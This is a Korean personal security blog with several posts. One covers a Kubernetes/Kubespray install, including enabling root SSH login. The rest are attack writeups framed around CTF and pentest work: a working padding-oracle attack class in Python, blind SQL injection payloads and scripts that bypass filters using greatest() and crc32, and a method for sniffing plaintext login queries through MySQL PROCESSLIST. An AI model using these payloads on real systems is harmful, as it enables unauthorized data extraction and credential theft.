[Kube] 설치 및 환경설정

1. 잡담

새로운 기술이 나온지 오랜 시간이 흐른것 같은데, 손도 안대보고 있어서 주변의 추천을 받아 공부를 해보기로 했다.
보안,개발 가리지 않고 신 기술이라고 하면 관심을 가져야 했는데 바쁘다는 핑계로 귀찮다는 핑계로 이리저리 넘기던 것을 한번 해 보기로 했다.

어차피 이 글을 읽는 사람들은 미래의 나 자신이거나 나처럼 뒤늦게 공부를 하려는 사람이기 때문에 본론으로 바로 들어가도록 하자. 우선 필요한 준비물은 다음과 같다.

- 준비물

  1. VM ware
  2. Ubuntu 18.04 ( 버전이 높아도 상관없지만, 이 버전을 기준으로 진행할 예정)
  3. 최소 4GB이상의 가상머신을 3개 할당할수 있는 사양의 컴퓨터

2. 설치

VMware로 Ubuntu이미지를 만들고 실행하는 것 까진 과감히 생략한다. 찾으면 많이 나오기도 하고.. 우선 쿠버네티스의  구성 단위인 클러스터를 개략적인 모습으로 보자.

그림을 대충 보면 알수 있듯이, Docker가 필수다. 그럼 우선 Docker부터 설치하자. Root계정이 필요하다

#WORK IN MASTER/WORKER NODE
apt-get update
apt-get upgrade
apt-get install docker.io containerd

이후 SSH를 설치해야 한다. 이는 Master, Worker 상관없이 해 주어야 하므로 N번의 작업이 필요할 수도 있다. 18.04 버전의 Ubuntu에는 ifconfig를 실행할 수 있는 바이너리가 없으므로, net-tools도 설치해주자.

#WORK IN MASTER/WORKER NODE
apt-get install openssh-server
apt-get install net-tools

SSH를 활용하기 위해 Key를 만들고 신뢰가능한 서버에 배포하는 작업도 진행한다. 이 작업을 하고 나면 ssh로 해당 IP에 접근할때 password를 묻지 않는다. 이는 추후 있을 설치과정에도 영향을 미치니 꼭 해주도록 하자.

#WORK IN MASTER NODE
ssh-keygen -t rsa
ssh-copy-id root@MASTER_NODE_IP
ssh-copy-id root@WORKER_NODE1_IP
..

기본적으로 root의 SSH사용은 막혀 있으니, 설정을 변경해서 접속가능하게 해 주면 좀 더 편하게 작업을 할 수 있다.

#WORK IN MASTER/WORKER NODE
vi /etc/ssh/sshd_config
#PermitRootLogin prohibit-password -> PermitRootLogin yes
service ssh restart

찾아보니 여러가지 설치도구들이 있지만, 여기서는 Kubespray를 사용해서 설치할 것이다. 공개된 github에서 최신버전을 받을 수 있다.

#WORK IN MASTER NODE
git clone https://github.com/kubernetes-sigs/kubespray

kubespray는 ansible을 기반으로 설치를 진행한다. 이에 관한 설정파일을 수정해주고 바이너리를 실행시키면 설치를 해준다. 설정파일은 kubespray/inventory/sample/inventory.ini을 참고하면 된다.

#ALL 에는 모든 노드에 대한 정보를 적어주면 된다. MASTER, WORKER 구분없이
[all]
masternode ansible_host=MASTERNODE_IP  ip=MASTERNODE_IP etcd_member_name=etcd1 #etcd는 MasterNode만!!
workernode1 ansible_host=WorkerNODE1_IP ip=WorkerNode1_IP 
workernode1 ansible_host=WorkerNODE2_IP ip=WorkerNode2_IP 
...

# ## configure a bastion host if your nodes are not directly reachable
# 배스쳔 호스트가 있으면 설정. 본 예제에는 없기때문에 주석
# [bastion]
# bastion ansible_host=x.x.x.x ansible_user=some_user

#kube_control_plane은 보통 masterNode만 적어주면 된다.
[kube_control_plane]
masternode

#etcd를 가진건 masterNode이므로, masterNode를 적어주면된다
[etcd]
masternode

#모든 WorkerNode를 나열해주면된다.
[kube-node]
workernode1
workernode2

#이하 아래 옵션들은 손대지 않아도 무방함.
[calico-rr]

[k8s-cluster:children]
kube_control_plane
kube-node
calico-rr

ansible을 실행하려면 pip를 사용하여 필요한 라이브러리를 설치해 주어야 한다. 이후 완료되었다면 ansible까지 실행하도록 하자

pip3 install -r requirements.txt
ansible-playbook -i inventory/sample/inventory.ini --timeout=120 cluster.yml

여기까지 해서 설치 끝

Posted by IzayoiSakuya
,

Oracle padding Attack

Web 2021. 3. 4. 16:20
##coded by sakuya
from base64 import *
import json
import threading
import math

class oracle:
    def __str__(self):
        return self.plainText[::-1]
    def __init__(self, data,iv=None):
        if iv == None:
            self.IV = bytearray("\x00"*len(data),encoding="latin-1")
        else:
            self.IV = iv
        self.hiddenValue = bytearray("\x00"*len(data),encoding="latin-1")
        self.block = bytearray(data)
        self.block_size = len(self.block)
        self.IVMutex = threading.Lock()
        self.currentIdx = 1
        self.TestIV = bytearray("\x00"*len(data),encoding="latin-1")
        self.plainText = ""
        self.Pause = threading.Lock()
        self.Pause.acquire()

    def adjustIV(self,iv):
        self.IVMutex.acquire()
        idx = self.block_size-self.currentIdx
        self.hiddenValue[idx] = iv[idx] ^ self.currentIdx
        plain = iv[idx] ^ self.currentIdx ^ self.IV[idx]
        self.currentIdx += 1
        for i in range(idx,self.block_size):
            iv[i] = self.hiddenValue[i] ^ self.currentIdx
        self.TestIV = iv[:]
        self.IVMutex.release()
        return chr(plain)

    def exploit(self, check_func, count=10):
        MIN = 0x00
        MAX = 0x100
        RANGE = list(range(MIN,MAX))
        ThreadCount = math.ceil(MAX/count)
        for i in range(MIN,MAX,ThreadCount):
            t = threading.Thread(target=self.__exploit,args=(RANGE[i:i+ThreadCount],check_func,))
            t.start()
        self.Pause.acquire()
        self.Pause.release()

    def __exploit(self, coverage, check_func):
        TID = threading.get_ident()
        self.block_size = len(self.block)
        while(1):
            test_iv = self.TestIV[:]
            if self.currentIdx > self.block_size:
                break
            for i in coverage:
                test_iv[self.block_size-self.currentIdx] = i
                if(check_func(test_iv,self.block)):
                    print(test_iv)
                    self.plainText += self.adjustIV(test_iv)
                    break;
        try:
            self.Pause.release()
        except:
            pass

사용예시

O = oracle(cipher, iv=iv)
O.exploit(checkFunc, count = 0xff)
print(str(O))

count는 Thread 갯수임미다..

'Web' 카테고리의 다른 글

Webhacking Study - Binary search with filtering  (0) 2019.10.10
XSS TEST  (0) 2019.04.15
[TIP?] sql injection을 위한 깔끔한 코드 작성법  (2) 2018.08.21
Webhacking Study - Query sniff  (2) 2018.04.06
Webhacking Study - no more BLIND  (6) 2017.04.18
Posted by IzayoiSakuya
,

주제 : Webhacking Study - Binary search with filtering
날짜 : 2019.10.10
작성자 : Sakuya Izayoi

1. 개요 및 목적
Blind SQL Injection과 Binary Search를 사용한 효율적인 Injection방법을 알아보고, 각종 필터링을 우회할수 있는 방법에 대해 정리한다.

2. 내용
Blind SQL injection은 True/False를 기준으로 다르게 리턴되는 값을 보고 판단하여 한글자씩 (혹은 n byte씩) 값을 추출해 내는 SQL injection 기법이다.
우선 웹서비스 점검 및 CTF 상황에서 Blind SQL이 필요한 상황인지 판단하는 나만의 근거는 아래와 같다.

    - Injection을 통해 내가 원하는 문자열을 출력할수 없을때
    - Login시도와 같이 yes / no 의 상황만 알수 있을때

보통은 첫번째의 조건으로 판단하는 경우가 많다. 내가 원하는 문자를 출력할수 없다면, time based가 되었건, 기초적인 blind가 되었건 문자열을 가져오거나
출력할 다른 방법에 대해서 강구해야 한다. Blind SQL Injection과 관련해서는 예전문서3. Blind SQL Injection 탭에 적어놓은것이 있으니 참고 바란다.

Blind SQL Injection은 그 특성상 원하는 정보를 가져오는데 시간이 오래걸린다. 비효율적으로 짜면 한글자당 O(n)의 시간이 걸리고, 서버의 상태 및  네트워크 상황에 따라 더 오래 걸릴수도 있다.
또한 서버에는 수많은 로그를 남기게 될것이고, 이것은 서버운영자가 반가워할 상황은 아니다. 때문에 좀더 작은 움직임으로 원하는 정보를 얻어오기 위해서 Binary Search를 활용해보자.

3. Binary Search
Bianry search는 '이진탐색' 이라는 이름으로 알려진 탐색 알고리즘중 하나이다. 간단하게 선요약하자면 술자리에서 종종하는 up and down 게임과 같은 것이다.



up and down 게임에서 '8' 이라는 값을 찾기 위해서 순서대로 1,2,3,4,5,6,7,8 이라고 물어볼수 있지만 술게임을 조금 해본자라면 '5' 를 먼저 부를것이다.
도전자가 5 라고 부른 뒤 'up' 이라는 답변을 얻는다면 1-5를 부르는 사람은 없어진다.



이제 남은건 6-10 중 하나의 값이다. 여기서 가운데값인 '8'을 불러서 단번에 정답을 맞출수 있지만, '9'을 불렀다고 가정해보자.
도전자가 9을 부른뒤 'down' 이라는 답변을 얻는다면 역시 9-10 을 부르는 사람은 없어진다.



이제 남은건 6-8 중 하나의 값이 되고, 여기서 가운데 값인 7을 부른다면 'up' 이라는 대답을 얻게되고
결과적으로 남은 값인 8이 찾는값이란걸 알게된다.

8을 찾기위해 8번 시도하는 O(N)의 방법에 비해 이 과정은 더 짧게 (O(log₂N)) 끝이난다.
일반적으로 1byte씩 가져오게 되는 blind SQL에서는 1byte의 최대값인 0xff이고 하나의 문자열을 가져오는데 8회 질의 하는것으로 끝이나게 된다.
이 과정을 개략적으로 파이썬으로 짜면 아래와 같다.


def binsearch():
	ret = ""
	for idx in range(1,target_length+1):
		TOP = 0xff # 0x80
		BOT = 0x00 # 0x20
		while(1):
			mid = math.floor((TOP+BOT)/2)
			if TOP-BOT ==1:
				ret += chr(mid)
			result = sendData(something_Query)
			if TrueCondition in result:
				BOT = mid
			else:
				TOP = mid
	return ret

크게 어렵지 않게 구현할수 있고, 이를 활용하면 좀더 빠르게 값을 얻어올수 있다.
하지만 이는 간단히 사용할수 있는 Blind SQL Injection 보다는 조건이 조금 더 필요하다. 

4. With Filtering
Blind SQL Injection으로 방향을 잡고 점검을 하다보면 터무니 없는 필터링을 발견하기도 한다.
자기소개서 특수문자 쓰지마시오에 대한 이미지 검색결과
(본 그림은 참고를 위한것이며, 실제 테스트 및 점검에 사용된 사이트가 아닙니다.)

이러한 필터링중에는 XSS를 같이 방어하는 차원에서 <. > 와 같은 대소비교 문자열을 막을때도 있다.
이외에도 주석처리를 위한 -, # 등과 같은 문자나 =과 같은 등호, 숫자로의 변환이 불가능하게 ord, ascii 등을 막은것도 종종 보인다.
이러한 상황에서 단순 Blind SQL Injection 말고 방법이 없다고 판단하고 like 문자열이나 regexp 같은 정규표현식을 통한 O(N)의 방법을
채택하는것은 일반적인 사고의 흐름이다. 그래서 조금 더 튀는 방향으로 생각해 보기로했다.




이와같은 소스를 점검한다고 하자. 200회 쿼리를 날리면 더이상 날리지 못하는 코드다.
물론 $_SESSION으로 받기때문에 해당 SESSION을 무시하고 새로운 SESSION을 생성하면 200회의 제한이 없어진다.
하지만, 그렇게 하지않고 한번에 처리할 방법을 생각해보자.

우선 Blind SQL Injection이라고 판단하게 만드는 것으로는 union과 select가 막혀있다는 것, 그리고 값의 유무에 따라 yes / no를 답변해준다.
하지만 or,bin,ascii,등과 같은것이 필터링으로 막혀있고 대소 비교를 위한 >,< 등도 막혀있다. like를 통하여 값을 획득하고 싶어도 %가 막혀있어
진행이 어려울것 같은 상황이다.

Blind SQL Injection임은 틀림없는 상황이나, 여건이 따라주지 않아 Binary Search는 조금 힘들어 보인다. 상황을 정리해보자.

 if

사용가능 

 substr

사용가능 

 ascii,ord

사용불가 

 <.>

사용불가 

정리해보니 2가지만 해결하면 binary search를 사용하여 해결할수 있을것 같은 느낌이 든다.
<,>를 대체할 물건으로 mysql에서는 greatest 함수를 제공한다

해당 함수는 문자열과 숫자사이에서도 비교가 가능하며, 들어간 인자값중 큰것을 리턴해주는 함수이다.

그렇다면 이제 ascii와 ord를 대체할 함수를 찾아보자.
ascii와 ord는 문자를 ascii값(int)으로 바꿔주는 역할을 한다. 이는 binary search에서 꽤 중요한 역할을 한다. 이를 대체할 함수로 crc32를 제안한다.
crc32는 데이터 전송에 오류가 있는지 체크하기 위한 checksum과 같은 기능을 한다. 해당 값은 0x00000000 ~ 0xFFFFFFFF 이며 hash와 같이 단방향으로 제공된다.

이 crc32를 사용하여 Binary Search를 진행 해 볼 것이다.

5. POC
기초 아이디어는 아래와 같다.

    - 0x00 ~ 0xff의 crc32를 구하고 테이블을 만든다.
    - 나온 crc32값을 sorting한다.
    - 이후 Binary Search를 진행할때는 crc32값이 아닌, 정렬된 것의 index를 참고한다.

이렇게 되면 Injection Query는 개략적으로 아래와 같이 구성된다

    if(greatest(crc32(substr(column,IDX,1)),CRC32)^CRC32,1,0)

코드로 구현하면 아래와 같다


import binascii
import math

CRC_DICT = dict()
CRC_LIST = list()

def init_crc():
	global CRC_DICT
	global CRC_LIST

	for i in range(0x00,0xff+1):
		crc_value = binascii.crc32(chr(i).encode("utf-8"))
		CRC_DICT[crc_value] = i
		CRC_LIST.append(crc_value)
	CRC_LIST.sort()

def binSearch():
	for idx in range(1,target_length):
		BOT = 0x00
		TOP = 0xff
		while(1):
			mid = math.floor((BOT+TOP)/2)
			if TOP-BOT == 1:
				data += chr(CRC_DICT[CRC_LIST[mid+1]])
				break
			payload = "if(greatest(crc32(substr(pw,{},1)),{})^{},1,0)".format(idx,CRC_LIST[mid],CRC_LIST[mid])
			result = sendPayload(payload)
			if TrueCondition in result:
				BOT = mid
			else:
				TOP = mid
	return data

init_crc()
data = binSearch()
print(data)

if(greatest(crc32(substr(column,IDX,1)),CRC32)^CRC32,1,0) 이 구성에서 xor을 사용하지 않고 =와 같은 등호를 사용해도 무방하다.
xor를 사용하게 된다면 내가 비교하고자 하는 CRC32값이 리턴되지 않으면 어떤값이든 xor 하였을 경우 True가 나온다는것만 명심하면된다.
greatest를 통해 내가 넣은 CRC32값과 뽑아낸 값의 CRC32값을 비교하여 더 큰쪽을 가져 올것이고 이것은 ">=" 와 같은 효과가 난다.
이후 xor을 통해 내가 입력한 값이 리턴된 것을 확인했다면, 서버에서는 FALSE! 라고 응답을 준것과 같다.

이를 토대로 POC를 작성하고 스크립트를 실행하면 잘 작동하는것을 볼 수 있다.


6. 결론 

Binary Search는 간단한 코드로 좋은 효율을 볼수 있는 알고리즘이다. 하지만 이를 사용하기 위해서는 몇가지 조건이 있어야 하고, 그 조건을 계속해서 찾아나갈수 있을것이라 생각한다.
CRC32이외에도 md5나 sha1과 같은것들로 사용가능할 것이라 생각한다. 
덧붙여서 webhacking.kr 9번 문제에도 적용 가능한 기술이니, 자신의 코딩능력을 체크해보고 싶은분은 풀어보길 바란다.

'Web' 카테고리의 다른 글

Oracle padding Attack  (0) 2021.03.04
XSS TEST  (0) 2019.04.15
[TIP?] sql injection을 위한 깔끔한 코드 작성법  (2) 2018.08.21
Webhacking Study - Query sniff  (2) 2018.04.06
Webhacking Study - no more BLIND  (6) 2017.04.18
Posted by IzayoiSakuya
,

XSS TEST

2019. 4. 15. 17:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.


주제 : SQL injection을 위한 깔끔한 코드 작성법

날짜 : 2018.08.21

작성자: Sakuya Izayoi



1. 개요 및 목적

'글쓴이 경험상' 대회때마다 SQL 문제가 나오면 그 문제에 맞게 툴을 새로 짜고, 펜테스트를 할때에도 툴을 새로 짜고.. 날이면 날마다 늘어가는 ???.py 들을 보고 있자니 파일관리를 못하는건지, 내가 범용성이 없게 짜는건지 도저히 모르게 되어버려서 쿼리의 형태를 작성하면 injection을 해주는 범용적인 툴을 제작하는것을 그 목적으로 한다.


2. 내용

이번은 기술문서가 아니라서 실망할 분들도 꽤 있을것 같다. 기술문서도 좋지만 쓸데없이 늘어가는 ???.py 들을 한번에 정리하고 깔끔한 Desktop 폴더를 만들기 위해서 본 글을 작성하기로 했다. 이번 포스팅의 정확한 목표는 '이 글을 참고하여 나만의 sql 자동화 툴을 만들자!' 가 되겠다.

이 글을 읽고싶어 하는 분들은 대부분의 세팅을 끝마친 상황일것이다. (Python, pip, APM 등등.)
하지만 그렇지 않은 분들을 위해 조금의 기초세팅을 소개하고 난 후, 본격적인 코드작성에 돌입하도록 하자.


2-1. Python - Requests 모듈

Python은 Ubuntu를 사용한다면 기본적으로 깔려있다. Requests 모듈은 웹에 서비스를 요청하는데 사용되는 대중적인 모듈중 하나이다. urllib 나 httplib를 쓰는분도 있긴하지만, 여기선 Requests를 쓰기로 하자. 이를 사용하기 위해선 pip install requests라고 입력후 엔터를 치면 된다.

이미 설치되어 있다면 위와 비슷한 화면이 뜨게 된다. 제대로 설치 되었는지 알고 싶다면 python을 실행후 import requests 를 입력후 엔터를 쳤을때, 아무런 에러가 나지 않으면 성공적으로 설치 된 것이다.

자신이 테스트할 웹 페이지가 있는것이 좋지만, 여기선 웹 해커의 자습서인 LOS를 예제로 조금 진행해 보도록 하겠다.  SQL injection에 대한 기초지식이 없다면 기초문서를, 조금의 지식이 있다면 심화문서를 읽도록 하자. 굳이 다 알고 있지 않아도 개략적인것을 기억한다면, 문서를 참고하면 언제든지 코드작성이 가능하므로 반드시 암기해야해! 같은 생각은 조금 접어두는것이 좋다.


3. 코드 작성

코드를 작성하기전에, 어떤것들을 코드로 작성하는게 좋을지 조금 생각해보자. 간단한 인증우회와 같은 것들은 툴로 작성할 필요가 없다. POC를 위해서라면 간단하게 작성할수 있지만, 이것을 자동화 라고 부르기엔 너무 간단하게 끝나지 않을까?
그렇다면 자연스레 목표는 정보유출에 관점을 맞추게 된다. union이 사용한 것들은 일반적으로 한문장의 쿼리로 유출이 가능하니 이것들도 제외하자.
남는것은 Blind 계열, Time based 계열의 injection들이 남게 된다. 이러한 것들은 대체적으로 특징적인 형태를 띄고 있는 경우가 많다.

해당 문제에서 SQL injection 구문을 짜게 되면,

pw=' || id='admin' && if(ascii(substring(pw,?,1))>0,1,0)#

정도 될것 같다. 변하는 값은 ?에 있는값으로 1,2,3,4,.. 증가하게 될것이다. 그럼 여기서 숫자는 언제까지 증가해야할까?ㅋ
이는 length를 통해 값을 가져올수 있다. 그럼 이 length는 어디까지 검증해야 할까?

조금 머리를 굴릴수 있다면 length에 대해서 binary search 를 적용해 볼수 있을것이다. 하지만 내가정한 상한값이 과연 원하는 정보의 길이를 포함하는 충분히 큰 값인가? 에 대한 질문은 확실히 답변하기 애매할수 있다. 무엇보다, '깔끔한' 코드 작성과는 거리가 멀다. 코드내에 for i in range(1,10000)이라고 적혀있을 내 코드를 보자. 작성하면서도 찜찜하지 않을까?

여기서 제안하는 방법은 length(length()) 쿼리이다. 이것으로 값을 한번 추출하면, 해당 값의 최대크기와 최소 크기를 지정할 수 있다. 무슨 뜻인가 하면,

length의 반환값을 하나의 string으로 보고 다시 length를 걸어서 이 글자의 최대길이를 잰다. 10의 n승 형태로 나타낼수 있게 값을 리턴해 주므로, 최대와 최소 길이를 정할수 있고, 이를 통해 binary search를 깔끔하게 작성할 수 있다. 여기서는 2를 리턴해줬으므로, 최소값은 10, 최대값은 100 이다. 그리고 이 사이에 16이라는 값은 반드시 들어있게 된다.
length(length())의 리턴값을 powret이라고 두면, 개략적으로 아래와 같은 코드를 작성 할 수 있다.

print에 들어있는 \033은 커서를 좌측 상단으로 떙기는 출력으로, console progressbar를 구현할때 글쓴이가 종종쓰는 방법이다. 코드를 실행시키면 실시간으로 LENGTH가 변하는것처럼 보이게 된다.

이렇게 length에 대한 값을 얻었으면,  sql 구문을 작동시키는 코드를 작성해 보도록 하자.

BLIND SQL injection 을 하면서 달라지는 값들에 대해서 한번 다시 생각해보도록 하자
pw=' || id='admin' && if(ascii(substring(pw,?,1))>0,1,0)#
여기서 중요한것은 처음의 pw와 substring내의 pw가 다를수 있다는것이다.


이 문제처럼, no값에 injection을 하고 가져와야하는 값이 pw일수도 있는것이다. 이렇게 되면

no=' ||id='admin' && if(ascii(substring(pw,?,1))>0,1,0)# 과 같이 두개의 값이 다를수 있다는 점이 중요하다.

이렇게 가변적인 값이 총 4개로 지정되었다. 이를 Blind SQL을 하기위해 4개의 인자를 가진 함수(메소드)를 제작하고 binary search를 행하는 구문을 개략적으로 작성해 넣는다면, 성공적으로 돌아가지 않을까?
코드를 작성함에 있어 필요한 것들을 정리해보면,
- Query의 뼈대
- Target이 될 Parameter
- True/False 를 판단할수 있는 판단조건
- 가져와야할 Column 이름
- 가져올 값의 길이 (length)

가 될 것이다. 간단한 예시로 Length를 구하는 Query를 살펴보도록 하자.

우리가 넣을 쿼리에 length({}) 부분을 length(length({})) 로 바꿔줌으로써 사용에 불편함이 없도록 한다.

그의 리턴값을 받아서 Bianry Search를 돌리게 되면 간단하게 값이 나오게 된다.

if column is None 부분에 대해서 조금 의문이 들수 있는데, 이 부분은 위에 예시를 들었던 no,pw 처럼 injection하는 파라미터와 가져와야할 column이 다를경우 설정해 주는 값으로, 설정해주지 않으면 동일한 것으로 판단하고 인젝션하는 코드가 되겠다.

위와 같이 코드를 작성하게 된다면 Length를 가져오는 쿼리의 예시는

LengthQuery = "1' || id = 0x61646d696e && if(length({})>{},1,0)#

이는 getLength(LengthQuery,"pw",TrueCondition,column='pw') 처럼 호출되거나

getLength(LengthQuery,"no",TrueCondition,column='pw') 처럼 호출 될 것이다.

본편에서는 Length Query만을 예제로 들었지만, 다른 blind sql 구문또한 이와같이 작성해주면 간단히 해결 할 수 있다.


4. 보너스

이렇게 열심히 코드를 작성해놓고 밋밋하게 출력된다면 또한 재미가 없다. 한글자씩 나오더라도 영화처럼 나오면 보는 사람또한 즐겁기 마련이다.


여기서 key는 전역변수로, blind sql을 통해 한글자를 얻을때 마다 갱신된다. threading을 사용하여 돌려보면 마치 무작위대입을 하다가 한글자씩 맞추는것 같은, 영화와 같은 출력을 볼 수 있다.


'Web' 카테고리의 다른 글

Webhacking Study - Binary search with filtering  (0) 2019.10.10
XSS TEST  (0) 2019.04.15
Webhacking Study - Query sniff  (2) 2018.04.06
Webhacking Study - no more BLIND  (6) 2017.04.18
SQLi.py  (0) 2016.11.02
Posted by IzayoiSakuya
,


주제 : Webhacking Study - Query sniff
날짜 : 2018. 04. 06
작성자 Sakuya Izayoi


1. 개요 및 목적

Secuinside 2017에서 발표된 SQL - MITM Attack(Query sniff)에 대해 알아보고 그 쿼리에 대해 연구한 내용을 정리한다. 


2. 내용 

이번 문서도 하나의 발 에서 시작된다. 발표의 첫 시작은 간단한 SQL injection을 먼저 소개하고, Query sniff에 대해 소개하는 내용이었다.
발표를 들을 당시에는 "음.음. 그렇군" 하고 넘어갔던 부분이 막상 기억이 제대로 나지 않아서 다시한번 확실히 잡고 가기로 하는 취지에서 정리하게 되었다.

발표 첫 페이지부터 웹 분야를 연구하는 사람들의 기를 살려주는 강렬한 문구를 접할 수 있다.
간단한 SQL injection의 설명은 검색하면 쉽게 구할수 있는데다, 본 발표에서도 간략하게 설명하고 있으니 여기서는 생략하도록 한다.

아래는 본 연구에 사용한 작업환경이다.

MYSQL : 5.7.21-0ubuntu0.16.04.1
OS : Ubuntu 16.04 

우선 문서에 적힌 복잡한 쿼리를 이해하기 전에 필요한 사전 지식에 대해서 확실히 짚고 넘어가도록 하자.

3.Base Knowledge

웹 분야의 공격 기술에 대해 조금이라도 학습을 해 본 사람이라면 SQL injection이 상당히 친근할 것이고, 특히나 각종 해킹방어대회 등에 출전하는, 혹은 워게임 사이트 등을 취미로 하는 사람들이라면 Mysql이 상당히 친숙할 것이다. 이 Mysql에서는 5.0 이상 버전부터 Information_schema라고 하는 특수한 DB를 제공한다.

이 DB에는 여러가지 유용한 테이블들이 있는데, 공격자의 관점에서 바라볼 때 자주 언급되는 테이블은 TABLES, COLUMNS, SCHEMA, PROCESSLIST 정도가 아닐까 싶다.
TABLES 테이블은 임시테이블을 제외한 모든 테이블의 정보가, COLUMNS는 모든 컬럼에 대한 정보, SCHEMA는 DB에 대한 정보가 들어있으며 PROCESSLIST는 현재 실행중인 쿼리에 대한 정보가 들어있다. 이번시간에 중점을 두는것은 PROCESSLIST 테이블이다.


3.1 PROCESSLIST

조금만 화제를 돌려서 펜테스트(모의해킹)를 진행하는 사람이 되었다고 생각해보자. 단지 OWASP TOP 10이나, 국내 기업의 사이트를 대상으로 한다면 국정원 8대취약점 등을 리스트로 만들어서 체크하는 그런 기계적인 모의해킹이 아닌, 실제 공격자의 입장이 되어서 진행한다고 생각해보자.
가장 짜릿한 순간은 웹쉘을 올리는데 성공하였거나, DB내의 정보를 획득하는데 성공하여 '공격에 성공했다' 라고 담당자에게 말하고 패치를 하도록 도와주는 부분이 아닐까?

문서의 성격에 맞게 DB내의 정보를 획득하는데 성공했다고 가정하자. 하지만 그 값이 해쉬, 혹은 암호화가 되어서 저장되어 있다면 과연 담당자에게 '공격에 성공하여 데이터를 획득하는데 성공했습니다' 라고 말한다면 돌아오는 담당자의 답변은 무엇일까?
'아, 그럼 당장 패치를 해야겠군요. 방안을 알려주시면 저희가 처리하겠습니다' 와 같은 이상적인 답변은 거의 돌아오지 않는다. 대부분 돌아오는 답변은 '단방향 암호화 되어서 저장하는데, 평문을 획득하신데 성공하신건가요?' 라고 되물을 확률이 상당히 높다. 경험상 평문으로 저장하는곳은 거의 없었으며, 대부분 간단하게라도 해쉬를 채택하고 있었다. 그럼 우리가 되돌려줄 답변은 '아뇨, 하지만 언제든지 취약점을 통해 공격 받을 가능성이 있습니다' 라고 답변하면 패치를 해줄 확률은 반반이다. 사실 이러한 보안적인 업무 말고도 하는 일이 많으니 '취약점이 발견되었으니 얼른 고치세요!' 하고 볶아 챌 수도 없는 노릇이고, 이런 선의에서 비롯된 모의해킹에서 점점 실망하게 되는 이유중 하나가 아닐까 싶다.

이러한 문제를 해결하기 위해 가장 간단한 방법은 평문을 획득하는것이다. 하지만 말처럼 쉽게 해결되는 부분이 아닌것이지만, PROCESSLIST를 통한다면 가능하다.

PROCESSLIST의 테이블 구조를 보면, 어떤 쿼리를 실행중(info)인지, 어떤 유저(user)가 실행했는지, HOST는 어디인지(host) 등등 자세한 정보가 나온다. 여기까지 읽으면 위에 적은 평문을 획득한다는 내용과 바로 연결지어 생각하기 어렵다. 하지만 다음의 PHP코드를 보도록 하자.

모든 자세한 정보가 주어지지 않는 블랙박스 테스트 환경에서는 가정(Guessing)에서 부터 출발한다. 하지만 이번엔 코드를 알고있거나 혹은 필요한 코드만 받아서 진행하는 화이트박스/그레이박스 환경이라고 생각하자.

이 소스코드를 보고 2가지를 알 수 있다.
첫번째는, 해당페이지에서 SQL injection을 막기 위해서 Prestatement를 사용하여 작성했다는것
두번째는, 특별한 암호화를 PHP내에서 거치지 않고 mysql측에 맡기고 있다는것이다.

이러한 사실을 토대로 내릴수 있는 결론은 여러가지 있겠지만, 필자가 내린 결론은 아래와 같다.
1. 해당 페이지에서의 일반적인 SQL injection공격은 막혀있다. 
2. 해당 페이지에서 암호화를 거치지 않는것은 global.php에서 특별한 처리를 해주고 있는것은 아닐까?
3. 우선 해당 페이지는 다른 곳에서 취약점이 있을때 추가적으로 확인해 볼 가치가 있겠다.

사실 이러한것들 말고도 여러가지 떠올릴수 있다. 주어진 것은 소스코드의 단편뿐이고 사람의 생각(망상)은 무한하게 펼쳐질 수 있다. 우선은 global.php에서 암호화를 하지 않고 평범하게 평문을 받아서 mysql Query를 통해 md5 해쉬를 거친 후 DB에 저장, 요청한다고 가정하자.

그렇다면 지금이 바로 PROCESSLIST가 나설때다. 소설과 같은 아래 타임라인을 보도록 하자.

유저가 로그인을 시도하고 해당 쿼리가 끝나기전 공격자가 processlist에 접근하고 그 결과값을 받는다면, 유저의 로그인 쿼리는 끝나지 않았으므로 PROCESSLIST에 남아 있을것이고, 여기에 적힌 md5(평문) 값을 볼 수 있을것이다. 유저와 공격자 간의 PROCESSLIST를 두고 벌이는 경쟁에서 이긴다면, 관리자에게 '평문을 획득했으니 얼른 패치를 하시는게 좋지 않겠습니까?' 라고 당당히 말할 수 있다. 하지만 이런 타임라인을 들이대면서 '이론상 된다구요!' 라고 말해봐야 별 설득력 없이 끝나니, 필요성을 느꼈다면 실제로 어떻게 해야할지 천천히 알아보자.

3.2 benchmark

뜬금없이 benchmark 이야기를 꺼내는것은 성능을 테스트하기 위한것이 아니라, Time-based SQL injection 공격에 사용하는 sleep의 대체용인 그 benchmark이다.
해당 함수는 같은 동작을 여러번 반복하는것으로 그 성능을 체크하기 위해 만들어진 함수인데, 같은 행동을 여러번 한다는 그 특징때문에 복잡한 연산을 시킬경우 시간지연이 발생하며 이를 sleep의 우회방안으로 사용하고 있는것이 공격자의 현 실정이다.

위에서 언급했지만, 같은 동작을 여러번 반복하는 함수이다. 이를 확인하기 위해서는 복잡한 연산을 시켜서 얼마나 긴 시간이 걸렸는지 체크하는 것이 맞으나, 그건 여러분들이 SQL injection에서 많이 해 봤으리라 생각한다. 그럼 이 반복을 확인하기 위해서 다음으로 적합한 것은 변수를 사용하는 것이다.
변수를 사용할 때 하나 재미있는 점은 하나의 Query로 변수의 변경사항을 바로바로 체크할수 있다는것이다.

해당 쿼리를 보면 before 에서는 @a변수를 1로 초기화 하였고, calc에서는 @a값에 +1 을 한것을, result에서는 그 결과를 출력하게 했다.
결과값을 보면 알겠지만, @a가 각각 1,2,2 로 되어 있는것을 볼 수 있다. 계산이 된 결과값을 출력하며, 그 이후로는 그 결과를 계속 가지고 있게된다. 이후 같은 세션이라면 해당 변수의 값은 유지된다. 

그럼 여기서 benchmark를 엮어서 한번 보도록 하자.

@a:=@a+1을 9번 적지 않아도 benchmark 하나로 1을 9번 더해서 10이 된 것을 볼 수 있다. 물론, benchmark는 벤치마킹을 위해 제작된 함수인 만큼 쿼리문을 실행 할 수도 있다.

쿼리가 좀 복잡해졌지만, 잘 보면 @a+1 대신에 concat을 통해 @a에 rand()*10의 값을 이어 붙여준 값을 대입하도록 해놓았다. rand함수는 0~1 사이의 랜덤한 float값을 내놓는데, 이 값에 *10을 한 후 floor를 통해 한자리 정수를 얻을수 있게 제작한 것이다.

결과적으로, 9자리의 숫자가 결과값으로 돌아왔다. 물론 rand함수의 특성상 실행할때마다 결과는 달라진다.
자, 기초적인 내용은 끝이 났다. 여기까지 읽었다면 이를 PROCESSLIST와 이미 엮어본 사람도 이미 있을것이다.

